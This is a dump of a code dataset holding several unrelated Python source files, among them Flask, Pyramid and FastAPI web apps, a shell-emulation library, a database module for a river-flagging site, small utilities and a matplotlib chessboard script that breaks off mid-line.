'w')\r\n\r\n s = input()\r\n\r\n result = isValid(s)\r\n\r\n fptr.write(result + '\\n')\r\n\r\n fptr.close()","sub_path":"sherlock.py","file_name":"sherlock.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"208264813","text":"from pyramid.view import view_config\nfrom pyramid.httpexceptions import HTTPBadRequest, HTTPInternalServerError\n\n# further tools\nimport logging\nimport json\n\n# own import stuff\nfrom vkviewer import log\nfrom vkviewer.settings import tmp_dir\nfrom vkviewer.python.views.georeference.AbstractGeoreference import AbstractGeoreference\nfrom vkviewer.python.georef.georeferenceprocess import createGeoreferenceProcess\nfrom vkviewer.python.georef.georeferenceexceptions import GeoreferenceParameterError\n\n\"\"\" View for handling the georeference process in case of a confirmation action.\n A confirmation actions means that the view confirm the results of a already \n registered georeference process or register a georeference process without\n validation \"\"\"\nclass GeoreferenceConfirm(AbstractGeoreference):\n \n def __init__(self, request):\n AbstractGeoreference.__init__(self, request)\n \n \"\"\" method: __call__ \n @param - mtbid {Integer} - id of a messtischblatt\n @param - userid {String} - id of a user \n @param - points {Double:Double;...} - 4 pixel points coordinates which are reference to the original \n messtischblatt file \"\"\"\n @view_config(route_name='georeferencer', renderer='string', permission='edit', match_param='action=confirm')\n def __call__(self):\n log.info(\"Start processing georeference confirmation request.\")\n \n try:\n # parse query parameter and check if they are valide\n self.__parseQueryParameter__()\n self.__parseUserId__()\n \n # initialize georef process\n dbsession = self.request.db\n georeferenceProcess = createGeoreferenceProcess(self.mtbid, dbsession, tmp_dir, log)\n \n if hasattr(self, 'georefid'):\n self.__validateQueryParameterWithGeorefId__()\n return self.__confirmExistingGeorefProcess__(self.georefid, georeferenceProcess)\n elif not hasattr(self, 'georefid'):\n self.__validateQueryParameterWithoutGeorefId__()\n return self.__registerNewConfirmedGeorefProcess__(georeferenceProcess)\n else: \n # error handling\n log.error(\"Error while processing georeference confirmation request!\")\n raise\n except GeoreferenceParameterError as e:\n log.error('Wrong or missing service parameter - %s'%e)\n return HTTPBadRequest('Wrong or missing service parameter') \n except Exception as e:\n log.error('Problems while computing validation result - %s'%e)\n return HTTPInternalServerError('Problems while computing validation result')\n \n def __confirmExistingGeorefProcess__(self, georefid, georeferenceProcess):\n georefid = georeferenceProcess.confirmExistingGeoreferenceProcess(georefid=self.georefid,\n isvalide=True,typeValidation='user')\n response = {'georefid':georefid,'message':'Change validation status for georeference process!'}\n return json.dumps(response, ensure_ascii=False, encoding='utf-8')\n \n def __registerNewConfirmedGeorefProcess__(self, georeferenceProcess):\n georefid = georeferenceProcess.confirmNewGeoreferenceProcess(userid=self.userid,\n clipParams=self.points,isvalide=False,typeValidation='disabled')\n response = {'georefid':georefid,'message':'Georeference parameter saved!'}\n return json.dumps(response, ensure_ascii=False, encoding='utf-8')\n \n def __validateQueryParameterWithGeorefId__(self):\n try:\n isValideMtb = isValideGeorefId = False\n \n isValideMtb = self.__validateMtbId__()\n isValideGeorefId = self.__validateGeorefId__()\n \n return self.__queryParameterWithGeorefIdAreValide__(isValideMtb, isValideGeorefId)\n except Exception as e: \n message = \"Parameter for confirmation request for georef id are not valide - %s\"%e.value\n log.error(message)\n raise GeoreferenceParameterError(message)\n \n def __validateQueryParameterWithoutGeorefId__(self):\n try:\n isValideMtb = isValidePoints = False\n \n isValideMtb = self.__validateMtbId__() \n isValidePoints = self.__validatePoints__()\n \n return self.__queryParameterWithoutGeorefIdAreValide__(isValideMtb, isValidePoints) \n except Exception as e: \n message = \"Parameter for confirmation request without georef id are not valide - %s\"%e.value\n log.error(message)\n raise GeoreferenceParameterError(message)\n \n def __queryParameterWithGeorefIdAreValide__(self, isValideMtb, isValideGeorefId): \n if isValideMtb and isValideGeorefId:\n log.debug(\"MtbId: %s, Georefid: %s - are valide\"%(self.mtbid,self.georefid))\n return True\n else:\n message = \"The query parameter are not valide\"\n log.error(message)\n raise GeoreferenceParameterError(message) \n \n def __queryParameterWithoutGeorefIdAreValide__(self, isValideMtb, isValidePoints): \n if isValideMtb and isValidePoints:\n log.debug(\"MtbId: %s, Points: %s - are valide\"%(self.mtbid,self.points))\n return True\n else:\n message = \"The query parameter are not valide\"\n log.error(message)\n raise GeoreferenceParameterError(message) \n\n","sub_path":"env/vkviewer/python/views/georeference/GeoreferenceConfirm.py","file_name":"GeoreferenceConfirm.py","file_ext":"py","file_size_in_byte":5545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"141768500","text":"from flask import Flask,render_template\nimport os\nfrom Data import Data\n\n\napp = Flask(__name__)\nlesson_pattern = \"lesson_{}.html\"\ndata = ''\nlesson_id = 0\nall_lessons = os.listdir('templates/lessons') \n\n\ndef check_boundary(pre, nxt):\n res = [False, False]\n \n if pre not in all_lessons:\n res[0] = True\n\n if nxt not in all_lessons:\n res[1] = True\n\n return res\n\n\ndef init_data(lesson_id):\n pre = lesson_pattern.format(lesson_id - 1)\n nxt = lesson_pattern.format(lesson_id + 1)\n lb, rb = check_boundary(pre, nxt)\n\n return Data(lb, rb, pre, nxt)\n\n@app.route('/')\ndef index():\n return render_template(\"index.html\")\n\n@app.route('/lessons/')\ndef toLesson(lesson):\n lesson_id = int(\n\tlesson[\n\t\tlesson.index('_') + 1 :\n\t\tlesson.index('.')\n\t\t]\n)\n data = init_data(lesson_id)\n\n return render_template(\"lessons/\" + lesson, data=data)\n@app.route('/exercises/')\ndef toExercise(exercise):\n return render_template(\"exercises/\" + exercise)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"163116275","text":"# clinix.py\n\nimport __main__\nimport sys\nimport os\nfrom collections import namedtuple, Iterable\nimport glob\n\nInputType = namedtuple('InputType', 'type source')\n\nclass ClinixCommand:\n \"\"\"\n This class represents a command\n\n Creating one does not mean executing the command, so one could\n craft a certain command and save it to a variable and run it\n over and over\n\n Commands are created by calling them as a function, \n with arguments passed as positional args and options passed as keyword args, e.g.\n\n >>> g = grep('blah.config', '^#', invertmatch=True)\n\n will bind g to a grep command that, when run, will print out all lines in\n 'blah.config' that don't start with a #\n\n The command itself is actually run by calling .do() on it\n Typing a command in the REPL will also execute it, but this is\n because I have abused __repr__ here. Calling .__repr__() on a ClinixCommand\n will actually call .do() on it and cause the command to take place. I did this so\n these commands could be used effectively in the REPL. However, this means that I must \n return empty string from __repr__ so that no additional output is produced in the REPR \n other than the output from the command, e.g. if it prints to screen or writes to a file.\n\n .do() actually calls .__str__() on itself and writes the result to this command's stdout,\n whether it be sys.stdout, or a file, or possibly something else in the future. \n So __str__ is actually when the command is evaluated, but returns a string of what should be \n written to stdout/a file/whatever\n\n The goal is to be able to execute commands saved in variables multiple times, like an alias in a shell\n\n You can redirect stdout of a command to a file by using the > operator, with the command \n on the left and a filename as a string on the right, e.g.\n\n >>> g = grep('blah.config', '^#') > 'comments.txt'\n\n will create the file 'comment.txt' containing all lines starting with a # in 'blah.config'\n\n I have attempted to emulate existing *nix-like tools as best I could, but you should refer to\n the docs for the actual Clinix version of them for usage\n \"\"\"\n \n def __init__(self, options):\n \"\"\"\n Create a new ClinixCommand, with the given options as a dict\n\n Set the commands stdin, stdout, and stderr\n And call _parse_options to set the command's options, which should\n be handled by the subclass that invoked this\n \"\"\"\n\n self.stdin = InputType('stdin', sys.stdin)\n self.stdout = sys.stdout\n self.stderr = sys.stderr\n self.parse_options(options)\n\n def parse_options(self, options):\n \"\"\"\n Interprets the options dict passed as keyword args to this command\n\n Should throw an error if an unrecognized option is given\n \"\"\"\n\n pass\n\n def __gt__(self, new_stdout):\n \"\"\"\n >>> comm() > 'file.txt'\n\n Redirects the stdout of this command to new_stdout\n new_stdout must be sys.stdout or a filename\n If it is a filename, the file will be created if it \n does not yet exist, or overwritten if it does\n\n Returns this command\n \"\"\"\n\n self.stdout = new_stdout\n self.overwrite_stdout = True\n return self\n\n def __ge__(self, new_stdout):\n \"\"\"\n >>> comm() >= 'file.txt'\n\n Redirects the stdout of this command to new_stdout\n new_stdout must be sys.stdout or a filename\n If it is a filename, the file will be appended to, and\n created if it does not exist\n\n Returns this command\n\n Note that this syntax differs from most shells as it uses >= \n for appending to a file and not >>\n This is because >> and > have different precedent levels \n (and more significantly | has a precedence level in between them)\n but >= and > have the same precedence.\n \"\"\"\n\n self.stdout = new_stdout\n self.overwrite_stdout = False\n return self\n\n def __lt__(self, source):\n \"\"\"\n >>> comm() < 'input.txt'\n\n Sets source to be this commands stdin. source should be a filename\n The file will not be opened and read until the command is evaluated\n \"\"\"\n\n self.stdin = InputType('file', source)\n return self\n\n def __or__(self, source):\n \"\"\"\n Only implemented because Python won't call __ror__ if two operands are of the same type\n\n All the logic occurs in __ror__\n \"\"\"\n\n return source.__ror__(self)\n\n def __ror__(self, source):\n \"\"\"\n >>> comm1() | comm2() \n\n Implements piping of commands. When comm1 is piped to comm2 like:\n Then comm2's __ror__ is invoked (ClinixCommands should not implement __or__)\n The input source of comm2 is set to be comm1, and comm2 is returned. \n\n Other types can also be piped to ClinixCommands (provided they don't implement __or__,\n because if they do they will steal the operator for themselves)\n\n >>> x | comm()\n\n x will be translated into a string as evaluation time and treated as stdin\n \"\"\"\n\n self.stdin = InputType('pipe', source)\n return self\n\n def read_stdin(self):\n \"\"\"\n Gets the value of this commands stdin\n\n If it is actually stdin, just reads from stdin\n If we have been piped to, call str on the input source and use those lines\n (if a list was piped to use, call str on its elements and join with newlines)\n \"\"\"\n\n if self.stdin.type == 'stdin':\n return self.stdin.source.read()\n elif self.stdin.type == 'file':\n try:\n with open(self.stdin.source) as infile:\n return infile.read()\n except IOError as e:\n raise Exception('Error reading file ' + infile + ': ' + e.strerror)\n elif self.stdin.type == 'pipe':\n source = self.stdin.source\n if isinstance(source, Iterable) and not isinstance(source, str):\n source = '\\n'.join(str(s) for s in source)\n return str(source)\n else:\n raise Exception('Unknown stdin type: ' + self.stdin.type)\n\n def do(self):\n \"\"\"\n Forces execution of this command. This should be a repeatable operation.\n\n Writes to the proper output channel as well\n calls __str__ on itself to determine what to write\n \"\"\"\n\n if isinstance(self.stdout, str):\n mode = 'w' if self.overwrite_stdout else 'a'\n outfile = open(self.stdout, mode) # TODO: close\n elif self.stdout == sys.stdout:\n outfile = self.stdout\n else:\n raise Exception(\"Can't write to \" + self.stdout)\n output = str(self) + '\\n'\n outfile.write(output)\n\n def __repr__(self):\n \"\"\"\n Forces execution of this command, and returns empty string\n\n (yes I know this is abuse of __repr__ but that's what it took\n to make this work in the REPL and in programs)\n \"\"\"\n\n self.do()\n return ''\n\ndef expand_files(filenames, **kwargs):\n \"\"\"\n utility function for expanding a list of given files \n\n globs can be expanded, and directories can be reversed on\n options with defaults:\n expandglob=True\n if True, expand * to match any # of characters, and ? to match exactly one character\n all filenames matching the given globs will be yielded. Ifa file doesn't contain * or ?, it will not be expanded\n recusre=False\n if True, expands to all files and directories under each directory given\n \"\"\"\n\n for filename in filenames:\n yield from expand_file(filename, **kwargs)\n\ndef expand_file(filename, expandglob=True, recurse=False):\n \"\"\"\n expands a single filename by glob or recursing\n \"\"\"\n\n if expandglob and ('*' in filename or '?' in filename): # prevent non-globs from trying to be expanded\n filenames = glob.glob(filename)\n if not filenames: \n filenames = [filename]\n else:\n filenames = [filename]\n if recurse:\n yield from recurse_files(filenames)\n else:\n for filename in filenames:\n yield filename\n\ndef recurse_files(filenames):\n \"\"\"\n expands to all files and directories under the given directories\n\n for each file given, just yields that file\n for each directory given, yields each file and directory in the given directory\n \"\"\"\n\n for filename in filenames:\n yield from recurse_file(filename)\n\ndef recurse_file(filename):\n \"\"\"\n expands to all files and directories under the given directory\n \n if a file is given, just yields that file\n if a directory is given, yields each file and directory in the given directory\n \"\"\"\n\n yield filename # os.walk doesn't yield the given file/dir\n for path, dirs, files in os.walk(filename):\n for d in dirs:\n yield os.path.join(path, d)\n for f in files:\n yield os.path.join(path, f)\n\n","sub_path":"src/clinix.py","file_name":"clinix.py","file_ext":"py","file_size_in_byte":9082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"61043315","text":"def word_count(s):\n # Your code here\n\n d = dict()\n\n char_list = '\"\":;.,-+=/\\|[]{}()*^&'\n\n new_s = s.lower().replace(\"\\t\", \" \").replace(\n \"\\n\", \" \").replace(\"\\r\", \" \").split(\" \")\n\n for word in new_s:\n new_word = word.strip(char_list)\n\n if new_word not in d and new_word != \"\":\n d[new_word] = 1\n elif new_word != \"\":\n d[new_word] += 1\n\n print(d)\n return d\n\n\nif __name__ == \"__main__\":\n print(word_count(\"\"))\n print(word_count(\"Hello\"))\n print(word_count('Hello, my cat. And my cat doesn\\'t say \"hello\" back.'))\n print(word_count(\n 'This is a test of the emergency broadcast network. This is only a test.'))\n","sub_path":"applications/word_count/word_count.py","file_name":"word_count.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"433376565","text":"#!/usr/bin/python3\n\"\"\" Start flask app \"\"\"\n\nfrom flask import Flask, escape, render_template\nfrom models.state import State\nfrom models.amenity import Amenity\nfrom models import storage\nfrom os import getenv\n\napp = Flask('__name__')\n\napp.url_map.strict_slashes = False\n\n\n@app.route('/hbnb_filters')\ndef statesList():\n # Return string on root req\n states = sorted(list(storage.all(State).values()), key=lambda x: x.name)\n amenities = sorted(list(storage.all(Amenity).values()), key=lambda x: x.name)\n return render_template(\n '10-hbnb_filters.html',\n states=states,\n amenities=amenities\n )\n\n\n@app.teardown_appcontext\ndef closeStorage(exception):\n # Return close session on\n storage.close()\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000)\n","sub_path":"web_flask/10-hbnb_filters.py","file_name":"10-hbnb_filters.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"494672500","text":"from fastapi import APIRouter, Depends\r\nfrom fastapi.requests import Request\r\nfrom custom_log import log\r\n\r\n\r\nrouter = APIRouter(\r\n prefix='dependencies',\r\n tags=['dependencies'],\r\n dependencies=[Depends(log)]\r\n)\r\n\r\ndef convert_params(request: Request, separator: str):\r\n query = []\r\n for key, value in request.query_params.items():\r\n query.append(f\"{key} {separator} {value}\")\r\n return query\r\n\r\n\r\ndef convert_headers(request: Request, seperator: str = '--', query = Depends(convert_params)):\r\n out_headers = []\r\n for key, value in request.headers.items():\r\n out_headers.append(f\"{key} {seperator} {value}\")\r\n return{\r\n 'headers':out_headers,\r\n 'query': query\r\n }\r\n\r\n\r\n@router.get('')\r\ndef get_items(test: str, seperator: str = '***', headers = Depends(convert_headers)):\r\n return {\r\n 'items': ['a', 'b', 'c'],\r\n 'headers': headers\r\n }\r\n \r\n\r\n@router.post('/new')\r\ndef create_item(headers = Depends(convert_headers)):\r\n return {\r\n 'result': 'it is success',\r\n 'headers': headers\r\n }\r\n\r\n\r\nclass Account:\r\n def __init__(self, name: str, email:str):\r\n self.name = name\r\n self.email = email\r\n \r\n@router.post('/user')\r\ndef create_user(name: str, email:str, password: str, account: Account = Depends()):\r\n return {\r\n 'name': account.name,\r\n 'email': account.email,\r\n } ","sub_path":"udemy-fastapi-base/router/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"143407969","text":"import tempfile\nfrom typing import Any\n\nimport nox\nfrom nox.sessions import Session\n\nnox.options.sessions = \"lint\", \"tests\"\nlocations = \"dmpy\", \"noxfile.py\"\n\n\ndef install_with_constraints(session: Session, *args: str, **kwargs: Any) -> None:\n \"\"\"A wrapper for session.install use linting and\n test depenencies that are pinned. This ensure\n replicatability amongst developers.\"\"\"\n with tempfile.NamedTemporaryFile() as requirements:\n session.run(\n \"poetry\",\n \"export\",\n \"--dev\",\n \"--format=requirements.txt\",\n f\"--output={requirements.name}\",\n external=True,\n )\n session.install(f\"--constraint={requirements.name}\", *args, **kwargs)\n\n\n@nox.session(python=[\"3.8\"])\ndef black(session: Session) -> None:\n \"\"\"Automatic format code following black codestyle:\n https://github.com/psf/black\n \"\"\"\n args = session.posargs or locations\n install_with_constraints(session, \"black\")\n session.run(\"black\", *args)\n\n\n@nox.session(python=[\"3.8\"])\ndef lint(session: Session) -> None:\n \"\"\"Provide lint warnings to help enforce style guide.\"\"\"\n args = session.posargs or locations\n install_with_constraints(\n session,\n \"flake8\",\n \"flake8-aaa\",\n \"flake8-bandit\",\n \"flake8-black\",\n \"flake8-bugbear\",\n )\n session.run(\"flake8\", *args)\n\n\n@nox.session(python=[\"3.8\"])\ndef tests(session: Session) -> None:\n \"\"\"Setup for automated testing with pytest\"\"\"\n args = session.posargs\n session.run(\"poetry\", \"install\", \"--no-dev\", external=True)\n install_with_constraints(session, \"pytest\")\n session.run(\"pytest\", *args)\n","sub_path":"noxfile.py","file_name":"noxfile.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"242856303","text":"#!/usr/bin/env python\n# -*-coding:utf-8-*-\n\nfrom datetime import datetime\n\nfrom dateutil.relativedelta import relativedelta\nfrom dateutil.rrule import rrule, MONTHLY\n\n\ndef is_same_year(dt1, dt2):\n if (dt1.year == dt2.year):\n return True\n else:\n return False\n\n\ndef is_same_month(dt1, dt2):\n if (dt1.year == dt2.year) and (dt1.month == dt2.month):\n return True\n else:\n return False\n\n\ndef is_same_day(dt1, dt2):\n if (dt1.year == dt2.year) and (dt1.month == dt2.month) and (dt1.day == dt2.day):\n return True\n else:\n return False\n\n\ndef is_same_hour(dt1, dt2):\n if (dt1.year == dt2.year) and (dt1.month == dt2.month) and (dt1.day == dt2.day) and (dt1.hour == dt2.hour):\n return True\n else:\n return False\n\n\ndef round_to_day(dt):\n res = dt.replace(hour=0, minute=0, second=0, microsecond=0)\n return res\n\n\ndef round_to_hour(dt):\n res = dt.replace(minute=0, second=0, microsecond=0)\n return res\n\n\ndef round_to_minute(dt):\n res = dt.replace(second=0, microsecond=0)\n return res\n\n\ndef round_to_second(dt):\n res = dt.replace(microsecond=0)\n return res\n\n\ndef get_date_range(months):\n \"\"\"\n 返回一个时间片列表,以当前时间为终点,向前数几个月\n :param months:\n :return:\n \"\"\"\n now = datetime.utcnow()\n sdt = now - relativedelta(months=months)\n return list(rrule(freq=MONTHLY, dtstart=sdt, until=now))\n\n\nutcnow = datetime.utcnow()\none_week_ago = datetime.utcnow() - relativedelta(weeks=1)\none_day_ago = datetime.utcnow() - relativedelta(days=1)\ntwo_day_ago = datetime.utcnow() - relativedelta(days=2)\none_hour_ago = datetime.utcnow() - relativedelta(hours=1)\none_month_ago = datetime.utcnow() - relativedelta(months=1)\n\n__all__ = [\n 'utcnow',\n 'one_week_ago',\n 'one_day_ago',\n 'two_day_ago',\n 'one_hour_ago',\n 'one_month_ago'\n]\n","sub_path":"bihu/utils/date_utils.py","file_name":"date_utils.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"66421651","text":"\"\"\"This file handles all database stuff, i.e. writing and retrieving data to\nthe Postgres database. Note that of the functionality in this file is available\ndirectly in the command line.\n\nWhile the app is running, the database connection is managed by SQLAlchemy. The\n`db` object defined near the top of the file is that connector, and is used\nthroughout both this file and other files in the code base. The `db` object is\nconnected to the actual database in the `create_app` function: the app instance\nis passed in via `db.init_app(app)`, and the `db` object looks for the config\nvariable `SQLALCHEMY_DATABASE_URI`.\n\"\"\"\nimport os\nfrom dataclasses import dataclass\nfrom typing import Optional\n\nimport pandas as pd\nimport psycopg2\nimport psycopg2.errors\nimport click\nfrom flask import current_app\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_sqlalchemy import declarative_base\nfrom sqlalchemy.exc import ResourceClosedError\nfrom psycopg2 import connect\n\ndb = SQLAlchemy()\nBase = declarative_base()\n\n\ndef execute_sql(query: str) -> Optional[pd.DataFrame]:\n \"\"\"Execute arbitrary SQL in the database. This works for both read and\n write operations. If it is a write operation, it will return None;\n otherwise it returns a Pandas dataframe.\n\n Args:\n query: (str) A string that contains the contents of a SQL query.\n\n Returns:\n Either a Pandas Dataframe the selected data for read queries, or None\n for write queries.\n \"\"\"\n with db.engine.connect() as conn:\n res = conn.execute(query)\n try:\n df = pd.DataFrame(\n res.fetchall(),\n columns=res.keys()\n )\n return df\n except ResourceClosedError:\n return None\n\n\ndef execute_sql_from_file(file_name: str) -> Optional[pd.DataFrame]:\n \"\"\"Execute SQL from a file in the `QUERIES_DIR` directory, which should be\n located at `flagging_site/data/queries`.\n\n Args:\n file_name: (str) A file name inside the `QUERIES_DIR` directory. It\n should be only the file name alone and not the full path.\n\n Returns:\n Either a Pandas Dataframe the selected data for read queries, or None\n for write queries.\n \"\"\"\n path = os.path.join(current_app.config['QUERIES_DIR'], file_name)\n with current_app.open_resource(path) as f:\n return execute_sql(f.read().decode('utf8'))\n\n\ndef create_db(overwrite: bool = False) -> bool:\n \"\"\"If the database defined by `POSTGRES_DBNAME` doesn't exist, create it\n and return True, otherwise do nothing and return False. By default, the\n config variable `POSTGRES_DBNAME` is set to \"flagging\".\n Returns:\n bool for whether the database needed to be created.\n \"\"\"\n # connect to postgres database, get cursor\n conn = connect(\n user=current_app.config['POSTGRES_USER'],\n password=current_app.config['POSTGRES_PASSWORD'],\n host=current_app.config['POSTGRES_HOST'],\n port=current_app.config['POSTGRES_PORT'],\n dbname='postgres'\n )\n database = current_app.config['POSTGRES_DBNAME']\n cursor = conn.cursor()\n\n if overwrite:\n cursor.execute(\"SELECT bool_or(datname = 'flagging') FROM pg_database;\")\n exists = cursor.fetchall()[0][0]\n if exists:\n cursor.execute('COMMIT;')\n cursor.execute(f'DROP DATABASE {database};')\n click.echo(f'Dropped database {database!r}.')\n\n try:\n cursor.execute('COMMIT;')\n cursor.execute(f'CREATE DATABASE {database};')\n except psycopg2.errors.lookup('42P04'):\n click.echo(f'Database {database!r} already exist.')\n return False\n else:\n click.echo(f'Created database {database!r}.')\n return True\n\n\ndef init_db():\n \"\"\"This data clears and then populates the database from scratch. You only\n need to run this function once per instance of the database.\n \"\"\"\n\n # This file drops the tables if they already exist, and then defines\n # the tables. This is the only query that CREATES tables.\n execute_sql_from_file('schema.sql')\n\n # The models available in Base are given corresponding tables if they\n # do not already exist.\n Base.metadata.create_all(db.engine)\n db.create_all(app=current_app)\n\n # The boathouses table is populated. This table doesn't change, so it\n # only needs to be populated once.\n execute_sql_from_file('define_boathouse.sql')\n\n # The file for keeping track of if it's currently boating season\n execute_sql_from_file('define_default_options.sql')\n\n # The function that updates the database periodically should be run after\n # this runs.\n\n\ndef update_database():\n \"\"\"This function basically controls all of our data refreshes. The\n following tables are updated in order:\n\n - usgs\n - hobolink\n - processed_data\n - model_outputs\n\n The functions run to calculate the data are imported from other files\n within the data folder.\n \"\"\"\n options = {\n 'con': db.engine,\n 'index': False,\n 'if_exists': 'replace'\n }\n\n # Populate the `usgs` table.\n from .usgs import get_live_usgs_data\n df_usgs = get_live_usgs_data()\n df_usgs.to_sql('usgs', **options)\n\n # Populate the `hobolink` table.\n from .hobolink import get_live_hobolink_data\n df_hobolink = get_live_hobolink_data()\n df_hobolink.to_sql('hobolink', **options)\n\n # Populate the `processed_data` table.\n from .predictive_models import process_data\n df = process_data(df_hobolink=df_hobolink, df_usgs=df_usgs)\n df.to_sql('processed_data', **options)\n\n # Populate the `model_outputs` table.\n from .predictive_models import all_models\n model_outs = all_models(df)\n model_outs.to_sql('model_outputs', **options)\n\n\n@dataclass\nclass Boathouses(db.Model):\n reach: int = db.Column(db.Integer, unique=False)\n boathouse: str = db.Column(db.String(255), primary_key=True)\n latitude: float = db.Column(db.Numeric, unique=False)\n longitude: float = db.Column(db.Numeric, unique=False)\n\n\ndef get_boathouse_by_reach_dict():\n \"\"\"\n Return a dict of boathouses, indexed by reach\n \"\"\"\n # return value is an outer dictionary with the reach number as the keys\n # and the a sub-dict as the values each sub-dict has the string 'boathouses'\n # as the key, and an array of boathouse names as the value\n boathouse_dict = {}\n # outer boathouse loop: take one reach at a time\n for bh_out in Boathouses.query.distinct(Boathouses.reach):\n bh_list = []\n # inner boathouse loop: get all boathouse names within\n # the reach (the reach that was selected by outer loop)\n for bh_in in Boathouses.query.filter(Boathouses.reach == bh_out.reach).all():\n bh_list.append(bh_in.boathouse)\n boathouse_dict[bh_out.reach] = {'boathouses': bh_list}\n return boathouse_dict\n\n\ndef get_boathouse_metadata_dict():\n \"\"\"\n Return a dictionary of boathouses' metadata\n \"\"\"\n boathouse_query = (Boathouses.query.all())\n return {'boathouses': boathouse_query}\n\n\ndef get_latest_time():\n \"\"\"\n Returns the latest time in the processed data\n \"\"\"\n return execute_sql('SELECT MAX(time) FROM processed_data;').iloc[0]['max']\n","sub_path":"flagging_site/data/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":7241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"134897031","text":"import numpy as np\n\ndef count(ary, val):\n c, sum_ = 0, 0\n for i, v in enumerate(ary[::-1]):\n if(v==1):\n c += 1\n sum_ += val[i]\n\n return c, sum_\n\ndef vert(ary, idx):\n if(ary[idx] == 1):\n ary[idx] = 0\n else:\n ary[idx] = 1\n\ndef main():\n with open('../in.csv', 'r') as r:\n args = list(r.readlines())\n N = int(args[0].rstrip())\n ary = [int(i) for i in str(args[1].rstrip())]\n val = np.array([2**i for i in range(N)])\n \n for i in range(N):\n vert(ary, i)\n c, v = count(ary)\n v = v % c\n vert(ary, i)\n\n \nif __name__ == \"__main__\":\n main()","sub_path":"acing_contest/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"641702507","text":"import requests\nfrom variables import rapidApiKey\n\ndef OImage2Text(imageUrl, filename):\n url = \"https://ocrly-image-to-text.p.rapidapi.com/\"\n\n querystring = {\"imageurl\": imageUrl,\"filename\": filename}\n\n headers = {\n 'x-rapidapi-key': rapidApiKey,\n 'x-rapidapi-host': \"ocrly-image-to-text.p.rapidapi.com\"\n }\n\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n return response\n","sub_path":"Virtual Assistant/API/OCRLY.py","file_name":"OCRLY.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"410437147","text":"print(\"Importando paquetes...\")\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nprint(\"Listo!\")\n\ndef dibujar_tablero(f, letras, n):\n # Inicializo el plano que contiene la figura\n fig, axes = plt.subplots()\n axes.get_xaxis().set_visible(False)\n axes.get_yaxis().set_visible(False)\n\n # Dibujo el tablero\n step = 1./5\n tangulos = []\n\n # Creo los cuadrados claros en el tablero\n tangulos.append(patches.Rectangle((0, step), step, step, facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(step, 0), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(2 * step, step), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(step, 2 * step), step, step], facecolor='cornsilk'))\n\n\n # Creo los cuadrados oscuros en el tablero\n tangulos.append(patches.Rectangle(*[(2 * step, 2 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(0, 2 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(2 * step, 0), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(step, step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(0, 0), step, step], facecolor='lightslategrey'))\n\n ###############################################################################\n tangulos.append(patches.Rectangle(*[(0, 3 * step), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(3 * step, step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(3 * step, 0), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(step, 3 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(3 * step, 3 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(3 * step, 2 * step), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(2 * step, 3 * step), step, step], facecolor='cornsilk'))\n ################################################################################\n tangulos.append(patches.Rectangle(*[(4 * step, 4 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(3 * step, 4 * step), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(4 * step, 3 * step), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(2 * step, 4 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(4 * step, 2 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(1 * step, 4 * step), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(4 * step, 1 * step), step, step], facecolor='cornsilk'))\n tangulos.append(patches.Rectangle(*[(0 * step, 4 * step), step, step], facecolor='lightslategrey'))\n tangulos.append(patches.Rectangle(*[(4 * step, 0 * step), step, step], facecolor='lightslategrey'))\n #################################################################################\n\n # Creo las líneas del tablero\n for j in range(4):\n locacion = j * step\n # Crea linea horizontal 